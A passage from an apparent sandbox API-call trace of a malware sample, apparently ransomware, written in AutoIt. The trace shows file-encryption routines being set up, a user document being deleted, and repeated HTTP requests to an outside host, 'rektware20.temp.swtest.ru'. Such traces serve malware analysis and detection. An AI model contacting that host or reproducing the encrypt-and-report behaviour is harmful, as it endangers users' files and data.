lpsz="bool") returned 0x4 [0070.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.221] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.221] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0070.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.221] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.221] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.222] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.222] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.222] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.222] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.223] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.223] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.223] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.223] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.223] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.223] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.223] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.223] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0070.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.224] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.224] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.224] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.224] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.224] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.224] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.224] CloseHandle (hObject=0x2ac) returned 1 [0070.224] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.224] CloseHandle (hObject=0x3bc) returned 1 [0070.228] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.228] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.228] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", lpFilePart=0x0) returned 0x2a [0070.228] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dhtjdy.ots")) returned 0x20 [0070.229] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0070.229] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\dhtjdy.ots")) returned 1 [0070.237] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.237] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0070.238] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.238] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.238] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.238] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.238] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.238] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.249] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.250] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.250] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.250] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.250] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.252] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0070.253] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.253] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.254] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.266] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.266] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.266] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.266] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.267] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.267] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.267] CloseHandle (hObject=0x0) returned 0 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.267] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="egJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gJV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JV4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.268] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nkoG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="koG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oG.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.269] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.269] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.269] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.269] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.269] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.269] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.269] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.269] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.269] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.269] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0070.269] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.270] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.270] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.270] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.270] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.270] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.270] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.271] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.271] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.271] CloseHandle (hObject=0x0) returned 0 [0070.271] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.271] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\egJV4nkoG.csv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.272] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.272] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0070.272] TranslateMessage (lpMsg=0x130f164) returned 0 [0070.272] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0070.272] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0070.275] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0070.275] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0070.275] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.276] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.276] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.276] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.276] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.276] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.276] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.276] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.277] CharUpperBuffW (in: 